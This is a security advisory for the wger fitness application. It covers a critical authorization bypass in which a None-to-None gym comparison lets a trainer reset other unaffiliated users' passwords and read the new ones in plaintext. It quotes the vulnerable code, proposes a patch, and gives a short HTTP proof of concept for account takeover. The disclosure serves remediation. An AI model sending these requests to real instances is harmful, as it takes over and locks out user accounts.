PT-2026-53643 · Pypi · Wger

Published

2026-06-29

·

Updated

2026-06-29

CVSS v3.1

9.9

Critical

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

The reset user password and gym permissions user edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.

Details

File: wger/gym/views/user.py
The authorization guard in reset user password (and the parallel check in gym permissions user edit) uses Django ORM object comparison:
python
# VULNERABLE - wger/gym/views/user.py
 if request.user.userprofile.gym != user.userprofile.gym:
  return HttpResponseForbidden()
When both request.user.userprofile.gym and user.userprofile.gym are None (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates None != None as False. The guard therefore passes without raising HttpResponseForbidden, and execution continues unconditionally to:
python
password = password generator()
user.set password(password)
 user.save()
return render(request, 'user/trainer login.html', {'password': password, ...})
The generated password is rendered verbatim in the response body.
Affected endpoints:
  • GET /en/gym/user/<user pk>/reset-user-password -> wger.gym.views.user.reset user password
  • GET /en/gym/user/<user pk>/edit -> wger.gym.views.user.gym permissions user edit
Suggested patch:
diff
 --- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-  if request.user.userprofile.gym != user.userprofile.gym:
-    return HttpResponseForbidden()
+  trainer gym id = request.user.userprofile.gym id  # raw FK int
+  member gym id = user.userprofile.gym id
+
+  if trainer gym id is None or trainer gym id != member gym id:
+    return HttpResponseForbidden()
The id suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit is None guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same same gym() helper pattern to all five views sharing this check: reset user password, gym permissions user edit, admin notes list, documents list, contracts list.

PoC

Tested on wger/server:latest Docker image (runtime: Django 5.2.13). Two test users: trainer1 (gym.manage gym permission, userprofile.gym=None) and alice (regular user, userprofile.gym=None).
Step 1 - Authenticate as trainer with manage gym permission and gym=None:
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
 
-> 302 Found; Set-Cookie: sessionid=[trainer1 session]
Step 2 - Trigger cross-tenant password reset:
GET /en/gym/user/2/reset-user-password HTTP/1.1
 Host: target
Cookie: sessionid=[trainer1 session]

-> 200 OK
<tr><th>Password</th><td>[GENERATED PLAINTEXT PASSWORD]</td></tr>
Step 3 - Authenticate as victim (alice) using leaked password:
 POST /en/user/login HTTP/1.1
Host: target

username=alice&password=[GENERATED PLAINTEXT PASSWORD]&csrfmiddlewaretoken=[...]
 
-> 302 Found; authenticated as alice
(alice's ORIGINAL password is now invalid - permanent lockout)
RBAC Disproof Protocol (three-scenario test):
  • Scenario A (admin, same-gym) -> HTTP 200 (expected - documented feature)
  • Scenario B (trainer1 gym=None -> alice gym=None) -> HTTP 200 with plaintext password in body (expected HTTP 403)
  • Scenario C (trainer1 gym=1 -> alice gym=2) -> HTTP 403 (expected - guard works when gyms differ, confirms bypass is None-specific)
Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An attacker with gym.manage gym permission and gym=None can:
  1. Reset the password of any other gym=None user on the wger instance.
  2. Receive the new plaintext password in the HTTP response body.
  3. Log in as the victim immediately.
  4. Permanently lock the victim out (original password invalidated).
Affected deployments: every wger instance where gym.manage gym permission is delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.
Severity: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.
This is the same structural bug class as the sibling finding affecting trainer login (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - appears across five views and warrants a shared same gym() helper.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-574

Affected Products

Wger